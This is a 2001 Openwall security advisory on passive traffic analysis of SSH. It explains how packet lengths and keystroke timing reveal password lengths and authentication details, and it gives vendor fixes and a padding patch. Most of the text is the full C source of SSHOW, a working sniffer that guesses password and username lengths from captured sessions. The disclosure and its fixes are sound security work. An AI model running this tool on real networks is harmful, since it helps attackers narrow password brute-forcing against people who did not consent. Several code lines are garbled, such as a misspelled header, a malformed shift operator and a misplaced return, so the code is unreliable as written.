

-----BEGIN PGP SIGNED MESSAGE-----

OW-003-ssh-traffic-analysis, revision 2
Release: March 19, 2001
Updated: August 6, 2001

Passive Analysis of SSH (Secure Shell) Traffic

This advisory demonstrates several weaknesses in implementations of SSH (Secure Shell) protocols. When exploited, they let the attacker obtain sensitive information by passively monitoring encrypted SSH sessions. The information can later be used to speed up brute-force attacks on passwords, including the initial login password and other passwords appearing in interactive SSH sessions, such as those used with su(1) and Cisco IOS "enable" passwords.

All attacks described in this advisory require the ability to monitor (sniff) network traffic between one or more SSH servers and clients.

Fix information, patches to reduce the impact of traffic analysis, and a tool to demonstrate the attacks are provided.

Impact

Version 1 of the SSH protocol, unless its implementation takes special precautions to avoid this, exposes the exact lengths of login passwords used with password authentication. The SSH-2 protocol doesn't reveal as much information, but a range of possible password lengths can still be determined.

Additional weaknesses make it possible to detect when a password is entered during an interactive SSH session, and to discover even more information about such passwords, including their exact lengths (with both protocol versions) and timing information. The latter exposes the likelihood of possible characters in each position of a password.

All this information may be entered into a brute-force password cracker for a significant speedup due to reduced keypace and other optimizations, including attacking user passwords in the order of

increasing estimated complexity.

Additionally, our SSH traffic analysis tool is able to detect the use of RSA or DSA authentication, and in the case of RSA and SSH 1.2.x derived SSH server implementations, the number of `authorized_keys` file options. The latter is possible due to debugging packets sent by those implementations. If a SSH session with RSA authentication but no `authorized_keys` options is seen, an attacker may infer that the client machine has the private key sufficient to obtain full shell access to the server. If the session is automated, the private key has to be stored unencrypted.

Finally, it is possible to determine the lengths of shell commands, and in some cases, the commands themselves (from a small list of common ones) in an interactive session (which isn't a security issue under most circumstances).

It should be noted that, despite their simplicity, traffic analysis attacks such as those presented in this advisory haven't been well researched. We expect that similar attacks are possible against most other "secure" (encrypted) remote login protocols. We also expect additional traffic analysis attacks on SSH to be discovered. In particular, there may be recognizable patterns in X11 connections forwarded over SSH, but these are out of the scope of this advisory.

Password authentication vulnerability

When encapsulating plaintext data in a SSH protocol packet, the data is padded to the next 8-byte boundary (or whatever the cipher's block size is, with SSH-2), encrypted, and sent along with the plaintext length field. SSH-1 sends this field in the clear.

As a result, an attacker passively monitoring a SSH session is able to detect the amount of plaintext sent in each packet -- exact for SSH-1, or a range of possible lengths for SSH-2.

Since the login password is sent in one SSH-1 protocol packet without any special precautions, an attacker can determine the exact password length.

With SSH-2, other information (including the username) is transmitted

in the same packet and the plaintext length is encrypted, so only a range of possible password lengths can be determined.

Fortunately, due to the use of C strings in most SSH-1 server implementations, it is usually possible for a SSH client to add sufficient NUL padding for just the passwords without a change to the protocol. We recommend that future SSH-1 server implementations allow for this padding, even in cases where the underlying OS interfaces do not necessarily imply this.

An alternative workaround, proposed by Simon Tatham, is to send a sequence of SSH-1 messages containing strings of increasing length. Exactly one of these messages is SSH_MSG_PASSWORD and contains the password string. All the rest are SSH_MSG_IGNORE. It is important that the number of messages sent remains constant and is sufficient to cover the longest password we expect to see. To safely transmit passwords of up to 32 characters, 1088 bytes of SSH-1 messages are needed, which may still fit within one TCP segment. This approach has the advantage that no assumption about SSH-1 server implementations is made (other than that they implement the protocol correctly; some implementations are known to have problems handling SSH_MSG_IGNORE).

The SSH-2 protocol allows for a solution (independently proposed by several SSH-2 implementation authors) with less overhead, and without reliance on artifacts of protocol implementation. A pair of SSH-2 messages, SSH_MSG_USERAUTH_REQUEST and SSH_MSG_IGNORE, may be constructed such that their combined length remains constant. The messages can then be sent to the transport layer at once.

Interactive session weaknesses

With interactive shell sessions, input characters are normally echoed by the remote end, which usually results in an echo packet from the server for each input character. However, if an application turns input echoing off, such as for entering a password, the packets start to go in one direction only -- to the server. Our simple traffic analysis tool is able to detect this easily and reliably.

Once an attacker knows that the victim is entering a password, all they need to do is count the packets that didn't generate a reply packet from the server. In the case of SSH-1, the sum of plaintext

sizes gives the exact password length, save any backspace characters. With SSH-2, the attacker has to assume that each packet contains only one password character, which is typically the case.

The delays between packets give the attacker additional information on the likelihood of possible characters in each position of the password. For example, if the delay before a character is larger than most other delays, it is likely that the character requires more than one keystroke to type.

When typing commands in a command-line shell over SSH, each character generates a tiny echo packet from the server. However, once the entire command is entered, a larger packet -- containing the shell prompt and possibly the command's output -- is sent by the server.

By counting the tiny packets (or the plaintext lengths in packets sent to the server, in the case of SSH-1), the attacker can infer the length of each shell command. To make detection more reliable with SSH-1, it is usually possible to detect backspaces by assuming that they produce a 3-character response (^H, space, ^H).

Once again, the delays may be used -- this time for inferring the actual shell commands typed, from a small list of common ones.

The partial solution we propose is to modify SSH servers such that they simulate echo packets when terminal echo is disabled by an application. The SSH_MSG_IGNORE message type may be used to ensure the client doesn't actually process the contents of these fake packets.

Thus, no change to the protocol is required.

It is important to note that this partial solution may only defeat the most generic way to infer that a password is entered. In many cases it is possible to do the same by other means, including monitoring other related network traffic and events local to a SSH server system.

Solving traffic analysis vulnerabilities not related to password information would increase the protocol overhead significantly, and thus doesn't seem practical for many current uses of SSH.

Compression

The use of compression makes many of the traffic analysis attacks described above significantly less reliable. This is because the same amount of plaintext no longer results in the same amount of data being transmitted. The packet sizes are somewhat "randomized".

However, it is likely that compression also enables yet another class of traffic analysis attacks, as the changes to packet size due to compression aren't actually random -- they depend on the plaintext packet contents.

We're already aware of one practical attack that is possible due to compression. With SSH-2, the SSH_MSG_USERAUTH_REQUEST message is transmitted after compression is negotiated. If enabled, the size of the resulting TCP segment will depend on the entropy of the plaintext password. If a SSH_MSG_IGNORE message is used to pad the password as we have proposed, compression may defeat some of the benefit this could have provided. This instance of the problem may be solved by transmitting the SSH_MSG_USERAUTH_REQUEST and SSH_MSG_IGNORE messages uncompressed. However, this is non-trivial to implement if a generic compression library is used.

Related work

Several of the attacks outlined in this advisory were also independently discovered by the authors of the following paper, which describes some of them in greater detail:

Dawn Xiaodong Song, David Wagner, Xuqing Tian:

``Timing Analysis of Keystrokes and Timing Attacks on SSH.``

In particular, they reveal that inter-keystroke timings leak about 1 bit of information per character pair, and describe an attacking system, Herbivore, which tries to learn users' passwords by monitoring SSH sessions. Herbivore is demonstrated to reduce the search space for uniformly randomly chosen passwords of 8 characters by a factor of 50.

Fixes

Several SSH implementations have been changed to include fixes which reduce the impact of some of the traffic analysis attacks described in this advisory. It is important to understand that these fixes are by no means a complete solution to traffic analysis -- only simple remediation for the most pressing vulnerabilities described above.

OpenSSH:

Fixes have been initially applied to OpenSSH starting with version 2.5.0. OpenSSH 2.5.2 contains the more complete versions of the fixes and solves certain interoperability issues associated with the earlier versions.

PuTTY:

PuTTY 0.52 will include defenses against inferring length or entropy of initial login passwords, for both SSH-1 and SSH-2.

TTSSH:

TTSSH 1.5.4 provides some protection against traffic analysis by padding the transmitted initial login password with NUL's.

Cisco:

Cisco has included countermeasures against the traffic analysis attacks on SSH into recent versions of its IOS and CatOS software supporting SSH. Their security advisory has been posted at:

<http://www.cisco.com/warp/public/707/SSH-multiple-pub.html>

SSH 1.2.x:

SSH 1.2.x users can use this unofficial patch (the patch is against version 1.2.27, but applies to 1.2.31 as well). Please note that a SSH server with this patch applied will not interoperate with client versions 1.2.18 through 1.2.22 (inclusive).

```
- --- ssh-1.2.27.orig/sshconnect.c      Wed May 12 15:19:29 1999
+++ ssh-1.2.27/sshconnect.c           Tue Feb 20 08:38:57 2001
@@ -1258,6 +1258,18 @@
```

```
fatal("write: %.100s", strerror(errno));
}
```

```
+void ssh_put_password(char *password)
```

```
+{
+  int size;
+  char *padded;
+
+  size = (strlen(password) + (1 + (32 - 1))) & ~(32 - 1);
+  strncpy(padded = xmalloc(size), password, size);
+  packet_put_string(padded, size);
+  memset(padded, 0, size);
+  xfree(padded);
+}
```

```
/* Starts a dialog with the server, and authenticates the current
user on the
server. This does not need any extra privileges. The basic
connection
to the server must already have been established before this is
called.
```

```
@@ -1753,7 +1765,7 @@
```

```
/* Asks for password */
password = read_passphrase(pw->pw_uid, prompt, 0);
packet_start(SSH_CMSG_AUTH_TIS_RESPONSE);
- - packet_put_string(password, strlen(password));
+ ssh_put_password(password);
memset(password, 0, strlen(password));
xfree(password);
packet_send();
```

```
@@ -1791,7 +1803,7 @@
```

```
{
password = read_passphrase(pw->pw_uid, prompt, 0);
packet_start(SSH_CMSG_AUTH_PASSWORD);
- - packet_put_string(password, strlen(password));
+ ssh_put_password(password);
memset(password, 0, strlen(password));
xfree(password);
packet_send();
```

```
- --- ssh-1.2.27.orig/serverloop.c Wed May 12 15:19:28 1999
```

```
+++ ssh-1.2.27/serverloop.c Tue Feb 20 08:38:56 2001
```

```
@@ -522,6 +522,9 @@
```

```
void process_output(fd_set *writerset)
```

```
{
    int len;
#ifdef USING_TERMIOS
+   struct termios tio;
#endif

    /* Write buffered data to program stdin. */
    if (fdin != -1 && FD_ISSET(fdin, writeset))
@@ -543,7 +546,18 @@
        }
    else
    {
- -        /* Successful write. Consume the data from the buffer.
*/
+        /* Successful write. */
#ifdef USING_TERMIOS
+        if (tcgetattr(fdin, &tio) == 0 &&
+            !(tio.c_lflag & ECHO) && (tio.c_lflag & ICANON)) {
+            /* Simulate echo to reduce the impact of traffic
analysis. */
+            packet_start(SSH_MSG_IGNORE);
+            memset(buffer_ptr(&stdin_buffer), 0, len);
+            packet_put_string(buffer_ptr(&stdin_buffer), len);
+            packet_send();
+        }
#endif
+        /* Consume the data from the buffer. */
+        buffer_consume(&stdin_buffer, len);
+        /* Update the count of bytes written to the program. */
+        stdin_bytes += len;
```

SSHOW, the SSH traffic analysis tool

We have developed a SSH traffic analysis tool, which can be used to demonstrate many of the weaknesses described in this advisory. The source for initial version of the tool is included below. Future versions will be maintained as a part of Dug Song's dsniff package, available at:

<http://www.monkey.org/~dugsong/dsniff/>

The raw IP networking libraries required by SSHOW may be obtained at:

<http://www.tcpdump.org/release/>
<http://www.packetfactory.net/Projects/Libnet/>
<http://www.packetfactory.net/Projects/Libnids/>

```
<++> sshow.c
/*
 * SSHOW.
 *
 * Copyright (c) 2000-2001 Solar Designer <solar@openwall.com>
 * Copyright (c) 2000 Dug Song <dugsong@monkey.org>
 *
 * You're allowed to do whatever you like with this software
(including
 * re-distribution in source and/or binary form, with or without
 * modification), provided that credit is given where it is due and
any
 * modified versions are marked as such.  There's absolutely no
warranty.
 *
 * Note that you don't have to re-distribute modified versions of this
 * software under these same relaxed terms.  In particular, you're
free to
 * place them under (L)GPL, thus disallowing re-distribution of
further
 * modifications in binary-only form.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <time.h>
#include <sys/types.h>
#include <sys/times.h>
#include <netinet/in_sysm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
```

```
#include <arpa/inet.h>

extern char *optarg;
extern int optind;

#include <nids.h>

#if !defined(NIDS_MAJOR) || (NIDS_MAJOR == 1 && NIDS_MINOR < 15)
#error This code requires libnids 1.15+
#endif

#define HISTORY_SIZE 16

typedef struct {
    unsigned int min, max;
} range;

typedef struct {
    int direction; /* 0 for client to server */
    clock_t timestamp; /* timestamp of this packet */
    unsigned int cipher_size; /* ciphertext size */
    range plain_range; /* possible plaintext sizes */
} record;

struct history {
    record packets[HISTORY_SIZE]; /* recent packets (circular
list) */
    int index; /* next (free) index into
packets[] */
    unsigned int directions; /* recent directions
(bitmask) */
    clock_t timestamps[2]; /* last timestamps in each
direction */
};

struct line {
    int input_count; /* input packets (client to
server) */
    int input_size; /* input size (estimated) */
    int input_last; /* last input packet size */
    int echo_count; /* echo packets (server to
client) */
};
```

```
struct session {
    int protocol;          /* -1 not SSH, 0 unknown, 1 or 2 once
known */
    int state;            /* 1 after username, 2 after
authentication */
    int compressed;      /* whether compression is known to be
used */
    struct history history; /* session history */
    struct line line;     /* current command line */
};

static int debug = 0;

static clock_t now;

static clock_t add_history(struct session *session, int direction,
    unsigned int cipher_size, range *plain_range)
{
    record *current;
    clock_t delay;

    current = &session->history.packets[session->history.index++];
    session->history.index %= HISTORY_SIZE;

    current->direction = direction;
    current->timestamp = now;
    current->cipher_size = cipher_size;
    current->plain_range = *plain_range;

    session->history.directions <=< 1;
    session->history.directions |= direction;

    delay = now - session->history.timestamps[direction];
    session->history.timestamps[direction] = now;

    return delay;
}

static record *get_history(struct session *session, int age)
{
    int index;
```

```
    index = session->history.index + (HISTORY_SIZE - 1) - age;
    index %= HISTORY_SIZE;
```

```
    return &session->history.packets[index];
}
```

```
static char *s_saddr(struct tcp_stream *ts)
```

```
{
    static char output[32];
```

```
    snprintf(output, sizeof(output), "%s:%u",
             inet_ntoa(*(struct in_addr *)&ts->addr.saddr),
             ts->addr.source);
```

```
    return output;
}
```

```
static char *s_daddr(struct tcp_stream *ts)
```

```
{
    static char output[32];
```

```
    snprintf(output, sizeof(output), "%s:%u",
             inet_ntoa(*(struct in_addr *)&ts->addr.daddr),
             ts->addr.dest);
```

```
    return output;
}
```

```
static char *s_range(range *range)
```

```
{
    static char output[32];
```

```
    snprintf(output, sizeof(output),
             range->min == range->max ? "%u" : "%u to %u",
             range->min, range->max);
```

```
    return output;
}
```

```
static void print_data(struct half_stream *stream, unsigned int count)
```

```
{
    unsigned int i;
    int printable;
```

```
    printable = 1;
    for (i = 0; i < count; i++) {
```

```
        printf("%02x%c", (int)(unsigned char)stream->data[i],
               i < count - 1 && i % 24 != 23
               ? ' ' : '\n');
        printable &=
            isprint(stream->data[i]) ||
            stream->data[i] == '\r' || stream->data[i] ==
'\n';
    }
    if (printable && count >= 4 && !memcmp(stream->data, "SSH-",
4))
        fwrite(stream->data, count, 1, stdout);
}

static unsigned int ssh1_plain_size(struct half_stream *stream)
{
    if (stream->count_new < 4) return 0;

    return (unsigned int)(unsigned char)stream->data[3] |
        ((unsigned int)(unsigned char)stream->data[2] << 8) |
        ((unsigned int)(unsigned char)stream->data[1] << 16) |
        ((unsigned int)(unsigned char)stream->data[0] << 24);
}

static unsigned int ssh1_cipher_size(struct half_stream *stream)
{
    return 4 + ((ssh1_plain_size(stream) + 8) & ~7);
}

static range *ssh1_plain_range(struct half_stream *stream)
{
    static range output;

    output.min = output.max = ssh1_plain_size(stream) - 5;
    return &output;
}

static range *ssh2_plain_range(struct half_stream *stream)
{
    static range output;

    output.max = stream->count_new - 16;
    /* Assume min padding + 8-byte cipher blocksize */
    output.min = output.max - 7;
}
```

```
    if ((int)output.min < 0) output.min = 0;
    return &output;
}
```

```
static void client_to_server(struct tcp_stream *ts, struct session
*session,
    unsigned int cipher_size, range *plain_range)
{
    clock_t delay;
    int payload, magic;

    delay = add_history(session, 0, cipher_size, plain_range);

    if (debug)
        printf("- %s -> %s: DATA (%s bytes, %.2f seconds)\n",
            s_saddr(ts), s_daddr(ts), s_range
(plain_range),
                (float)delay / CLK_TCK);
    if (debug > 1)
        print_data(&ts->server, cipher_size);

    payload = plain_range->min;
    if (session->state == 2 && payload > 0) {
        session->line.input_count++;
        session->line.input_last = payload;
        if (session->protocol == 1)
            payload -= 4;
        else {
            payload -= 16 + 1;
            /* Handle different versions and cipher block
sizes */
            for (magic = 40; magic <= 52; magic += 4)
                /* Assume several SSH-2 packets in this IP
packet */
                if ((payload - (magic - 40)) % magic == 0) {
                    payload -= magic - 40;
                    /* One character per SSH-2 packet
(typical) */
                    payload /= magic;
                    session->line.input_count += payload;
                    break;
                }
            payload++;
        }
    }
}
```

```
    }
    if (payload <= 0) {
        if (payload < 0 && !session->compressed &&
            session->protocol == 1) {
            session->compressed = 1;
            printf("+ %s -> %s: Compression
detected, "
                    "guesses will be much less
reliable\n",
                    s_saddr(ts), s_daddr(ts));
        }
        payload = 1;
    }
    session->line.input_size += payload;
}

static void server_to_client(struct tcp_stream *ts, struct session
*session,
    unsigned int cipher_size, range *plain_range)
{
    clock_t delay;
    int skip;
    range string_range;

    delay = add_history(session, 1, cipher_size, plain_range);

    if (debug)
        printf("- %s <- %s: DATA (%s bytes, %.2f seconds)\n",
            s_saddr(ts), s_daddr(ts), s_range
(plain_range),
                (float)delay / CLK_TCK);
    if (debug > 1)
        print_data(&ts->client, cipher_size);

/*
 * Some of the checks may want to skip over multiple server responses.
 * For example, there's a debugging packet sent for every option found
 * in authorized_keys, but we can't use those packets in our pattern.
 */
    skip = 0;
    while (((session->history.directions >> skip) & 3) == 3)
        if (++skip > HISTORY_SIZE - 5) break;
```

```
if (session->state == 0 &&
    session->protocol == 1 &&
    ((session->history.directions >> skip) & 7) == 5 &&
    plain_range->min == 0 &&
    get_history(session, skip + 1)->plain_range.min > 4 &&
    get_history(session, skip + 2)->plain_range.min == 0) {
    session->state = 1;
    string_range = get_history(session, skip + 1)-
>plain_range;
    string_range.min -= 4; string_range.max -= 4;
    printf("+ %s -> %s: GUESS: Username length is %s\n",
          s_saddr(ts), s_daddr(ts), s_range
(&string_range));
    return;
}

if (session->state == 0 &&
    session->protocol == 2 &&
    (session->history.directions & 7) == 5) {
    if (plain_range->min == 9 || plain_range->min == 4 +
9) {
        string_range = get_history(session, 1)-
>plain_range;

        if (string_range.min > 490 && string_range.
min < 600) {
            session->state = 2;
            printf("+ %s -> %s: GUESS: DSA "
                  "authentication accepted\n",
                  s_saddr(ts), s_daddr(ts));
            return;
        } else
        if (string_range.min > 42 + 9) {
            session->state = 2;
            printf("+ %s -> %s: GUESS: Password "
                  "authentication accepted\n",
                  s_saddr(ts), s_daddr(ts));
            return;
        }
    } else
    if (plain_range->min > 12 + 9 && plain_range->min <
56 + 9) {
```

```
string_range = get_history(session, 1)-
>plain_range;

if (string_range.min > 490 && string_range.
min < 600) {
    printf("+ %s -> %s: GUESS: DSA "
           "authentication failed\n",
           s_saddr(ts), s_daddr(ts));
    return;
} else if (string_range.min > 42 + 9) {
    printf("+ %s -> %s: GUESS: Password "
           "authentication failed\n",
           s_saddr(ts), s_daddr(ts));
    return;
}
}

if (session->state == 1 &&
    session->protocol == 1 &&
    (session->history.directions & 3) == 1 &&
    plain_range->min == 0 &&
    get_history(session, 1)->plain_range.min == 130) {
    printf("+ %s -> %s: GUESS: RSA authentication refused
\n",
           s_saddr(ts), s_daddr(ts));
    return;
}

if (session->state == 1 &&
    session->protocol == 1 &&
    skip >= 1 &&
    ((session->history.directions >> (skip - 1)) & 037) ==
013 &&
    plain_range->min == 0 &&
    get_history(session, skip - 1 + 2)->plain_range.min == 16
&&
    get_history(session, skip - 1 + 3)->plain_range.min ==
130 &&
    get_history(session, skip - 1 + 4)->plain_range.min ==
130) {
    char *what;
```

```
switch (get_history(session, 1)->plain_range.min - 4)
{
    case 28:
        /* "RSA authentication accepted." */
        session->state = 2;
        if (skip > 1 && (what = alloca(64))) {
            snprintf(what, 64,
                "accepted (%d+ authorized_keys
option%s)",
                skip - 1, skip - 1 == 1 ? "" :
"s");
            break;
        }
        what = "accepted";
        break;

    case 47:
        /* "Wrong response to RSA authentication
challenge." */
        what = "failed";
        break;

    default:
        what = "???" ;
}

printf("+ %s -> %s: GUESS: RSA authentication %s\n",
    s_saddr(ts), s_daddr(ts), what);
return;
}

    if (session->state == 1 &&
#ifdef USE_TIMING
        now - get_history(session, 2)->timestamp >= CLK_TCK &&
#endif
        session->protocol == 1 &&
        (session->history.directions & 7) == 5 &&
        plain_range->min == 0 &&
        get_history(session, 1)->plain_range.min > 4 &&
        get_history(session, 2)->plain_range.min == 0) {
    session->state = 2;
    string_range = get_history(session, 1)->plain_range;
    string_range.min -= 4; string_range.max -= 4;
}
```

```
printf("+ %s -> %s: GUESS: Password authentication, "
      "password length %s %s%s\n",
      s_saddr(ts), s_daddr(ts),
      string_range.min == 32 ? "appears to be" :
"is",
      s_range(&string_range),
      string_range.min == 32 ? " (padded?)" : "");
return;
}

if (session->state == 2) {
    session->line.echo_count++;

    /* Check for backspace */
    if (session->protocol == 1 && !session->compressed &&
        plain_range->min == 4 + 3 &&
        session->line.input_size >= 2)
        session->line.input_size -= 2;

    if (plain_range->min > 4 + session->line.input_last &&
        session->line.input_count >= 2 &&
        session->line.input_size >= 2) {
        int size;
        char *what;

        size = session->line.input_size;
        if (session->line.echo_count + 1 >=
            session->line.input_count &&
            size <= (session->line.input_count << 2)
&&
            size < 0x100)
            what = "(command) line";
        else
        if (session->line.echo_count <= 2 &&
            size <= (session->line.input_count << 1)
&&
            size >= 2 + 1 && size <= 40 + 1)
            what = "password";
        else
            what = NULL;

        if (debug)
            printf("- %s -> %s: sent %d packets "
```

```
replies\n",
size,
    "(%d characters), seen %d
s_saddr(ts), s_daddr(ts),
session->line.input_count,
session->line.echo_count);

    if (what)
        printf("+ %s -> %s: GUESS: "
            "a %s of %d character%s\n",
            s_saddr(ts), s_daddr(ts),
            what, size - 1, size == 2 ?
"" : "s");
    }

    if (plain_range->min <= 0 ||
        plain_range->min > 4 + session->line.input_last ||
        session->line.input_last >= 0x100) {
        session->line.input_count = 0;
        session->line.input_size = 0;
        session->line.echo_count = 0;
    }
}

}

static void process_data(struct tcp_stream *ts, struct session
*session)
{
    unsigned int have, need;
    char *lf;

    if (session->protocol < 0) return;

    if (ts->client.count_new &&
        (have = ts->client.count - ts->client.offset)) {
        switch (session->protocol) {
            case 1:
                if (have < (need = ssh1_cipher_size(&ts-
>client))) {
                    if (debug)
                        printf("- %s <- %s: got %u of
"%u bytes\n", s_saddr
```

```
(ts),
                                                    s_daddr(ts), have,
need);

        nids_discard(ts, 0);
        return;
    }
    if (have != need && debug)
        printf("- %s <- %s: left %u bytes\n",
              s_saddr(ts), s_daddr(ts),
              have - need);
    nids_discard(ts, need);
    server_to_client(ts, session, need,
                    ssh1_plain_range(&ts->client));
    return;

case 2:
    server_to_client(ts, session, have,
                    ssh2_plain_range(&ts->client));
    return;

default:
    break;
}
}

if (ts->server.count_new &&
    (have = ts->server.count - ts->server.offset)) {
    if (!session->protocol) {
        lf = (char *)memchr(ts->server.data, '\n',
have);

        if (have < 7 || (!lf && have < 0x100)) {
            nids_discard(ts, 0);
            return;
        }
        if (lf && !memcmp(ts->server.data, "SSH-", 4))
            session->protocol = ts->server.data
[4] - '0';

        /* some clients announce SSH-1.99 instead of
SSH-2.0 */

        if (session->protocol == 1 &&
            ts->server.data[5] == '.' &&
            ts->server.data[6] == '9')
            session->protocol = 2;
```

```

        if (session->protocol != 1 && session-
>protocol != 2) {
            session->protocol = -1;
            if (debug)
                printf("- %s -> %s: not SSH
\n",
                    s_saddr(ts), s_daddr
(ts));
            return;
        }
        need = lf - ts->server.data + 1;
        nids_discard(ts, need);
        printf("+ %s -> %s: SSH protocol %d\n",
            s_saddr(ts), s_daddr(ts), session-
>protocol);
        if (debug)
            print_data(&ts->server, have);
        return;
    }

    switch (session->protocol) {
    case 1:
        if (have < (need = ssh1_cipher_size(&ts-
>server))) {
            if (debug)
                printf("- %s -> %s: got %u of
"
                    "%u bytes\n", s_saddr
(ts),
                    s_daddr(ts), have,
need);
            nids_discard(ts, 0);
            return;
        }
        if (have != need && debug)
            printf("- %s -> %s: left %u bytes\n",
                s_saddr(ts), s_daddr(ts),
                have - need);
        nids_discard(ts, need);
        client_to_server(ts, session, need,
            ssh1_plain_range(&ts->server));
        return;
    }

```

```
        case 2:
            client_to_server(ts, session, have,
                ssh2_plain_range(&ts->server));
        }
    }
}

static void process_event(struct tcp_stream *ts, struct session
**session)
{
    struct tms buf;
    char *what;

    now = times(&buf);

    what = NULL;
    switch (ts->nids_state) {
    case NIDS_JUST_EST:
        ts->client.collect = 1;
        ts->server.collect = 1;
        if (debug)
            printf("- %s -> %s: ESTABLISHED\n",
                s_saddr(ts), s_daddr(ts));
        if (!( *session = calloc(1, sizeof(**session)))) {
            errno = ENOMEM;
            perror("calloc");
            exit(1);
        }
        (*session)->history.timestamps[0] = now;
        (*session)->history.timestamps[1] = now;
        return;

    case NIDS_CLOSE:
        what = "CLOSED";

    case NIDS_RESET:
        if (!what) what = "RESET";

    case NIDS_TIMED_OUT:
        if (!what) what = "TIMED OUT";
        if ((*session)->protocol > 0)
            printf("+ %s -- %s: %s\n",
                s_saddr(ts), s_daddr(ts), what);
    }
}
```

```
        else if (debug)
            printf("- %s -- %s: %s\n",
                s_saddr(ts), s_daddr(ts), what);
        free(*session);
        return;

    case NIDS_DATA:
        process_data(ts, *session);
        return;
    }
}

static void dummy_syslog(int type, int errnum, struct ip *iph, void
*data)
{
}

static void cleanup(int signum)
{
    exit(0);        /* Just so that atexit(3) jobs are called */
}

static void usage(void)
{
    fprintf(stderr, "Usage: sshow [-d] [-i interface]\n");
    exit(1);
}

int main(int argc, char *argv[])
{
    int c;

    while ((c = getopt(argc, argv, "di:h?")) != -1) {
        switch (c) {
            case 'd':
                debug++;
                break;
            case 'i':
                nids_params.device = optarg;
                break;
            default:
                usage();
                break;
        }
    }
}
```

```
        }
    }
    argc -= optind;
    argv += optind;

    if (argc != 0) usage();

    signal(SIGTERM, cleanup);
    signal(SIGINT, cleanup);
    signal(SIGHUP, cleanup);

    setlinebuf(stdout);

    nids_params.syslog = dummy_syslog;
    nids_params.scan_num_hosts = 0;
    nids_params.pcap_filter = "tcp";
    nids_params.one_loop_less = 1;
    if (!nids_init()) {
        fprintf(stderr, "nids_init: %s\n", nids_errbuf);
        return 1;
    }

    nids_register_tcp(process_event);
    nids_run();

    return 0;
}
```

<-->

<++> Makefile

CC = gcc

LD = gcc

RM = rm -f

CFLAGS = -c -Wall -O2 -fomit-frame-pointer -I/usr/local/include

LDFLAGS = -s

LIBS = -L/usr/local/lib -lnids -lnet -lpcap

PROJ = sshow

OBJS = sshow.o

all: \$(PROJ)

sshow: \$(OBJS)

\$(LD) \$(LDFLAGS) \$(OBJS) \$(LIBS) -o sshow

```
.c.o:
    $(CC) $(CFLAGS) $*.c

clean:
    $(RM) $(PROJ) $(OBJS)

<-->
```

Credits and contact information

This advisory, the SSHOW traffic analysis tool, and the unofficial SSH 1.2.x patch were written by Solar Designer <solar@openwall.com> and Dug Song <dugsong@monkey.org>. We would like to thank the SSH implementation authors, especially Markus Friedl and Theo de Raadt (of OpenSSH), Simon Tatham (PuTTY), and Niels Mvller (LSH) for improving on our initial SSH traffic analysis countermeasures. We would also like to thank David Wagner and Dawn Xiaodong Song at the University of California, Berkeley and Ariel Futoransky of CORE-SDI for insightful discussions.

Updated versions of this and other Openwall advisories will be made available at:

<http://www.openwall.com/advisories/>

-----BEGIN PGP SIGNATURE-----

Version: 2.6.3ia

Charset: noconv

iQCVAwUBO3GpZXX5fbEpUCnxAQGwywQAh7w0iRnw/dbc6+zkcr5CppLkoS6lTfnB
jgKvB6gQa0q6kp5MUIuJE7q7aWeS22yIg/D7/QiYYDxw8MHrW4lAPstrQH1/KiD9
W5YrjfbYpEUdVzMGZdYkRhLhqGu6bpPYoBEFYz9tR6K6d5GN97Y8kNiYcM2U7yIa
gnXz5Nsm+TQ=
=KgXo

-----END PGP SIGNATURE-----